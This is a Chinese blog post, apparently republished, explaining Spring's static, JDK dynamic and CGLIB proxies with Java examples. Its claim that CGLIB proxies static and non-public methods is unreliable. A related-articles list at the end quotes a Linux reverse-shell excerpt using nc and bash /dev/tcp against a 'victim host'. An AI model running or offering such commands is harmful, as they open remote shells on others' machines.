Spring代理方式之静态、动态代理(JDK和CGlib动态代理)

news2024/12/26 21:45:19

目录

1、代理设计模式的概念

2、静态代理

3、动态代理(JDK和CGlib动态代理)

1. JDK动态代理是基于接口的代理(Interface-based proxy)

2. CGLIB代理是基于类的代理(Class-based proxy)

⭐比较:JDK动态代理和CGLIB代理的区别

4、代理设计模式的目的和作用

小结


1、代理设计模式的概念

在Spring框架中,代理设计模式主要是将核心功能与辅助功能(事务、日志、性能监控代码)分离,达到核心业务功能更纯粹、辅助业务功能可复用的目标。Spring框架利用代理模式来实现AOP(Aspect-Oriented Programming),通过代理对象对目标对象的方法调用进行拦截和增强,以实现横切关注点的功能。为此,spring中的代理方式可以分为静态代理和动态代理,而动态代理中又包含基于接口的JDK动态代理和基于类的CGLIB代理

P.S. 关于AOP的相关知识点本文不做详细介绍,后面会单独写一篇介绍。

图片来源:《Spring》

2、静态代理

在Spring中,静态代理是一种代理设计模式的实现方式。它通过手动编写代理类来对目标对象进行代理,并在代理类中调用目标对象的方法。

具体来说,静态代理需要满足以下条件:

  1. 定义一个接口(或者父类),该接口包含了目标对象和代理对象共同的方法。
  2. 创建一个代理类,实现上述接口,并持有一个目标对象的引用。
  3. 在代理类的方法中,可以在目标对象的方法调用前后加入额外的处理逻辑,比如日志记录、权限控制等。
  4. 在使用时,通过创建代理对象来替代直接使用目标对象,从而实现对目标对象方法的代理。

相对于动态代理,静态代理的主要特点是代理类在编译期间就已经存在,代理类在创建时,接口以及代理类就已经确定,因此称为静态代理。静态代理的优点是简单、直观,易于理解和实现。但是缺点也比较明显,每个目标对象都需要对应一个代理类,如果目标对象的方法发生变化,代理类也需要相应地做出修改。

值得注意的是,在Spring框架中,通常更多地使用动态代理来实现AOP的功能,因为动态代理可以更灵活地生成代理对象,避免了频繁编写和维护代理类的问题。但是了解静态代理的工作原理仍然是有益的,可以更好地理解AOP的实现原理。

通过代理类的对象,为原始类的对象(目标类的对象)添加辅助功能,更容易更换代理实现类、利 于维护。

图片来源:《Spring》

代理类 = 实现原始类相同接口 + 添加辅助功能 + 调用原始类的业务方法。

静态代理的问题:代理类数量过多,不利于项目的管理。 多个代理类的辅助功能代码冗余,修改时,维护性差。

3、动态代理(JDK和CGlib动态代理)

1. JDK动态代理是基于接口的代理(Interface-based proxy)

它要求被代理的目标对象必须实现一个或多个接口。JDK动态代理通过反射机制在运行时创建一个代理对象,代理对象实现了目标对象相同的接口,并且可以通过代理对象调用目标对象的方法。基于接口的代理要求目标对象必须实现接口,只能代理接口中定义的方法。

JDK动态代理的优点是代理对象的创建和使用都比较简单,缺点是只能代理实现了接口的目标对象。

下面是代码示例:

首先,定义一个接口,并创建实现类

public interface IUserService {
    void addUser(String username, String password);
}
public class UserService implements IUserService {
    @Override
    public void addUser(String username, String password) {
        System.out.println("Add user: " + username + ", " + password);
    }
}

然后,使用JDK动态代理来生成代理对象。JDK动态代理需要目标对象实现一个接口,它利用Java反射机制在运行时动态地生成代理类。下面是JDK动态代理的实现代码:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class JdkDynamicProxyExample {
    public static void main(String[] args) {
        IUserService target = new UserService(); // 创建目标对象

        // 创建JDK动态代理
        IUserService proxy = (IUserService) Proxy.newProxyInstance(
                target.getClass().getClassLoader(), // 目标对象的类加载器
                target.getClass().getInterfaces(),  // 目标对象实现的接口
                new InvocationHandler() {           // 代理对象的调用处理程序
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        System.out.println("Before method: " + method.getName());
                        Object result = method.invoke(target, args); // 调用目标对象的方法
                        System.out.println("After method: " + method.getName());
                        return result;
                    }
                }
        );

        // 调用代理对象的方法
        proxy.addUser("Alice", "123456");
    }
}

运行上述代码,输出结果为:

Before method: addUser
Add user: Alice, 123456
After method: addUser

可以看到,在JDK动态代理中,通过InvocationHandler来实现代理对象的调用处理程序。在调用代理对象的方法时,实际上是通过反射机制调用目标对象的方法,并在方法调用前后加入了额外的处理逻辑。

2. CGLIB代理是基于类的代理(Class-based proxy)

它可以代理没有实现接口的目标对象。CGLIB(Code Generation Library)是一个强大的第三方类库,其代理通过继承目标对象并重写其中的方法来实现代理,因此它的代理对象是目标对象的子类。当目标对象没有实现任何接口时,Spring会使用CGLIB来创建代理对象。CGLIB会生成目标对象的子类,并拦截目标对象的方法调用。基于类的代理可以代理目标对象的所有方法,包括非公开方法和静态方法。

CGLIB代理的优点是可以代理没有实现接口的目标对象,缺点是代理对象的创建和使用比较复杂。

接下来,使用CGlib动态代理来生成代理对象。CGlib动态代理不需要目标对象实现一个接口,它利用ASM框架在运行时动态地生成代理类。下面是CGlib动态代理的实现代码:

import net.sf.cglib.proxy.Enhancer;
import net.sf.cglib.proxy.MethodInterceptor;
import net.sf.cglib.proxy.MethodProxy;

public class CGlibDynamicProxyExample {
    public static void main(String[] args) {
        UserService target = new UserService(); // 创建目标对象

        // 创建CGlib动态代理
        Enhancer enhancer = new Enhancer();
        enhancer.setSuperclass(target.getClass());
        enhancer.setCallback(new MethodInterceptor() {
            @Override
            public Object intercept(Object obj, Method method, Object[] args, MethodProxy proxy) throws Throwable {
                System.out.println("Before method: " + method.getName());
                Object result = proxy.invokeSuper(obj, args); // 调用目标对象的方法
                System.out.println("After method: " + method.getName());
                return result;
            }
        });
        UserService proxy = (UserService) enhancer.create();

        // 调用代理对象的方法
        proxy.addUser("Bob", "654321");
    }
}

运行上述代码,输出结果为:

Before method: addUser
Add user: Bob, 654321
After method: addUser

可以看到,在CGlib动态代理中,通过MethodInterceptor来实现代理对象的调用处理程序。在调用代理对象的方法时,实际上是通过MethodProxy调用目标对象的方法,并在方法调用前后加入了额外的处理逻辑。

Spring框架在选择代理方式时遵循以下规则:

  • 如果目标对象实现了至少一个接口,则默认使用基于接口的代理(jdk)。
  • 如果目标对象没有实现任何接口,则使用基于类的代理(cglib)。

可以通过配置Spring的AOP相关选项来控制代理方式。例如,可以使用<aop:config>元素来声明切面和通知,并通过proxy-target-class属性来指定是否使用基于类的代理(默认为false)。

需要注意的是,基于接口的代理要求目标对象实现接口,而基于类的代理则可以代理任何类型的对象。但是,由于基于类的代理需要生成子类,因此在创建代理对象时可能会引入一些性能开销。

⭐比较:JDK动态代理和CGLIB代理的区别

1.实现方式不同:JDK动态代理是基于接口实现的,它要求被代理类必须实现一个接口,代理类实现了这个接口并且调用被代理类的方法;而CGLIB动态代理是基于继承实现的,它可以代理没有实现接口的类,它通过生成被代理类的子类来实现代理。

2.性能不同:JDK动态代理是通过反射来调用被代理类的方法,因此它的性能比CGLIB动态代理要差一些;而CGLIB动态代理是通过生成字节码来调用被代理类的方法,因此它的性能比JDK动态代理要好一些。

3.适用场景不同:JDK动态代理适用于代理接口的情况,它可以为多个接口创建代理对象,而CGLIB动态代理适用于代理类的情况,它可以为单个类创建代理对象。

4、代理设计模式的目的和作用

代理设计模式的主要目的是在不改变原有类结构的情况下,为类的功能增加一些额外的处理逻辑。在Spring中,代理设计模式的作用主要包括以下几点:

  1. 实现横切关注点(Cross-Cutting Concerns): 通过代理模式,可以将与核心业务逻辑无关的功能,如日志记录、事务管理、安全性控制等,抽取出来形成独立的横切关注点,并在需要的时候将其应用到目标对象的方法调用中。这样可以使得关注点的代码得以重用,并且更容易实现集中管理。

  2. 解耦关注点和核心业务逻辑: 代理模式可以帮助将横切关注点与核心业务逻辑进行解耦。通过代理对象对方法调用的拦截和增强,可以将横切关注点的实现与核心业务逻辑分离开来,使得各部分之间的耦合度降低,提高了代码的可维护性和可扩展性。

  3. 实现通用性和复用性: 代理模式可以使得一些通用的横切关注点的实现得以复用,而不需要在每个类中都编写重复的代码。通过定义通用的拦截器或增强逻辑,在需要的时候将其应用到多个类的方法调用中,从而实现代码的通用性和复用性。

  4. 实现动态代理: 代理模式还可以实现动态代理,即在运行时动态地创建代理对象,根据需要在目标对象的方法调用前后插入额外的处理逻辑。这种动态代理的方式使得可以更加灵活地控制代理对象的行为,同时也为AOP的实现提供了基础。

小结

总之,Spring框架中的代理设计模式旨在通过代理对象对目标对象的方法调用进行拦截和增强,以实现横切关注点的功能,同时提高代码的可维护性和可扩展性。Spring动态代理提供了JDK动态代理和CGlib动态代理两种实现方式。它们都可以利用AOP技术来实现横切关注点的功能,但是具体的实现方式有所差异。在使用时需要根据实际情况选择合适的代理方式。

参考:

JDK动态代理和CGLIB动态代理_梵晞的博客-CSDN博客

Spring代理模式 - 風栖祈鸢 - 博客园

JAVA高级基础:Spring中AOP的两种代理方式动态代理和CGLIB详解_aop代理的两种方式-CSDN博客

Spring(2)——代理和AOP - 知乎

详解Spring的两种代理方式:JDK动态代理和CGLIB动态代理 - 编程语言 - 亿速云

Spring_代理模式 - 只会干饭的杜某 - 博客园


感谢阅读,码字不易,多谢点赞!如有不当之处,欢迎反馈指出,感谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1263202.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里达摩院裁撤量子实验室

我是卢松松&#xff0c;点点上面的头像&#xff0c;欢迎关注我哦&#xff01; 马云的达摩院也不搞量子计算了&#xff0c;因为缺钱&#xff0c;整体裁掉了达摩院量子实验室&#xff0c;把所有的设备都赠送给了浙江大学。 达摩院量子实验室&#xff1a;总共30个研究员&#xf…

【单调栈】最大二叉树

题目&#xff1a; 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。递归地在最大值 左边 的 子数组前缀上 构建左子树。递归地在最大值 右边 的 子数组后缀上 构建右子树。 返回 nums…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

Salesforce原生ERP产品 vs. 集成:如何选择?

Salesforce允许企业管理所有的客户交互。随着Salesforce平台的日渐成熟&#xff0c;企业已经能够获取成倍的收益。会计解决方案和其他ERP工具尤其契合&#xff0c;客户数据不会碰壁&#xff0c;可以在服务交付和客户成功、发票和账单、收入确认和续订的过程中继续前进。 一些…

业务流程图用什么软件绘制?

在企业的日常工作中&#xff0c;对于业务流程的把控和优化显得非常重要。为了更好地理解和管理业务流程&#xff0c;业务流程图便应运而生。 业务流程图是企业管理的图形化工具&#xff0c;它描述了企业在生产和服务提供过程中&#xff0c;在各个环节中所涉及的各种操作、任务…

ESP Multi-Room Music 方案:支持音频实时同步播放 实现音乐互联共享

项目背景 随着无线通信技术的发展&#xff0c;针对不同音频应用领域的无线音频产品正不断涌现。近日&#xff0c;乐鑫科技推出了基于 Wi-Fi 的多扬声器互联共享音乐通信协议——ESP Multi-Room Music 方案。该方案使用乐鑫自研的基于 Wi-Fi 局域网的音频同步播放技术&#xff…

从Android面试题目溯源-1、创建线程有那几种方式

概念 程序执行流的最小单位&#xff0c;处理器调度调度和分派的基本单位。 如何理解这个概念 如下图&#xff0c;可以简单类比吉他&#xff0c;六根弦代表六个线程&#xff0c;每个线程独立且单独运行&#xff0c;且持有上一个音的状态&#xff0c;每根手指可类比为一个CPU的…

E云管家开发个人微信号批量修改好友备注

简要描述&#xff1a; 修改好友备注 请求URL&#xff1a; http://域名地址/modifyRemark 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说…

Linux常见指令基础知识

目录 初始Linux操作系统 Linux背景&#xff1a; 开源 &#xff1a; 发行版本&#xff1a; ​编辑 OS概念&#xff0c;定位&#xff1a; 使用 XShell 远程登录 Linux Linux相关知识 文件是什么&#xff1f; 路径分隔符 &#xff08;.&#xff09; 和 &#xff08;. .&…

玻色量子研发进展

2023年 2023.8 量子计算突破云渲染资源调度&#xff01;真机测试完整报告公开&#xff01; 2023.8 量子计算突破金融信用评分&#xff01;真机测试完整报告公开&#xff01; 2023.7 玻色量子“揭秘”之旅行商问题与Ising建模 2023.7 玻色量子“揭秘”之背包问题与Ising建…

计算机服务器中了faust勒索病毒怎么办,faust勒索病毒解密文件恢复

计算机技术的不断发展&#xff0c;为企业的生产生活运营提供了坚实基础&#xff0c;但网络是一把双刃剑&#xff0c;网络安全威胁也在不断增加&#xff0c;近期&#xff0c;云天数据恢复中心陆续接到很多企业的求助&#xff0c;企业的计算机服务器遭到了faust勒索病毒攻击&…

HelpLook可以作为wordpress的替代品,帮助企业快速搭建博客

博客作为一个非常有价值的平台&#xff0c;在当今的数字时代具有重要的意义。对于个人和企业来说&#xff0c;选择一款适合自己需求的专业博客搭建软件至关重要。本篇文章将会通过对比两个专业的博客搭建软件——HelpLook和WordPress&#xff0c;看看为什么我说HelpLook可以作为…

js相同字符串截取拼接

原数据 const list [999-1234567801,999-1234567802,999-1234567803, ]; const list1 [999-1234567899,999-1234567900,999-1234567901, ];期望数据 999-1234567801/2/3 //list 999-1234567899/900/901 //list1处理代码 // 连续号码处理 export const formatNumber (tick…

具身智能17篇创新性论文及代码合集,2023最新

今天来聊聊人工智能领域近期的一个热门研究方向——具身智能。 具身智能&#xff08;Embodied Intelligence&#xff09;指的是机器人或智能体通过感知、理解和交互来适应环境&#xff0c;并执行任务的能力。与传统的基于规则或符号的人工智能不同&#xff0c;具身智能强调将感…

文件批量重命名:多个路径文件批量改名编号并移动到同一路径的操作方法

在日常生活和工作中&#xff0c;可能会遇到需要批量重命名文件的情况。比如说&#xff0c;从不同的路径下载了一堆图片&#xff0c;或者从不同的文件夹中收集了一些文件&#xff0c;现在要将这些文件按照一定的规则进行编号命名。这种情况下&#xff0c;手动修改文件名并且移动…

【密码学引论】密码学的基本概念

第二章 密码学的基本概念 1、密码学定义 密码编制学和密码分析学共同组成密码学 密码编制学&#xff1a;研究密码编制密码分析学&#xff1a;研究密码破译 2、密码体制的五个组成部分 明文空间M&#xff0c;全体明文的集合密文空间C&#xff0c;全体密文的集合密钥空间K&am…

智慧农田可视化大数据综合管理平台方案,EasyCVR助力农业高质量发展

一、背景需求 我国是农业大国&#xff0c;农业耕地面积达到20亿亩。随着物联网、大数据、人工智能等新一代信息技术与农业农村加速融合&#xff0c;以及国家对农业的重视&#xff0c;智慧农业对于我国农业现代化建设和实施乡村振兴战略具有重大引领与推动作用。在传统农田生产…

python基于YOLOv7系列模型【yolov7-tiny/yolov7/yolov7x】开发构建钢铁产业产品智能自动化检测识别系统

在前文的项目开发实践中&#xff0c;我们已经以钢铁产业产品缺陷检测数据场景为基准&#xff0c;陆续开发构建了多款目标检测模型&#xff0c;感兴趣的话可以自行阅读即可。 《YOLOv3老矣尚能战否&#xff1f;基于YOLOv3开发构建建钢铁产业产品智能自动化检测识别系统&#xf…

SSM跆拳道网站系统开发mysql数据库web结构java编程计算机网页源码eclipse项目

一、源码特点 SSM 跆拳道网站系统是一套完善的信息系统&#xff0c;结合springMVC框架完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模…

Apipost也出IDEA插件了?Apipost-Helper!

IDEA是一款功能强大的集成开发环境&#xff08;IDE&#xff09;&#xff0c;它可以帮助开发人员更加高效地编写、调试和部署软件应用程序。我们在编写完接口代码后需要进行接口调试等操作&#xff0c;一般需要打开额外的调试工具。 今天给大家介绍一款IDEA插件&#xff1a;Api…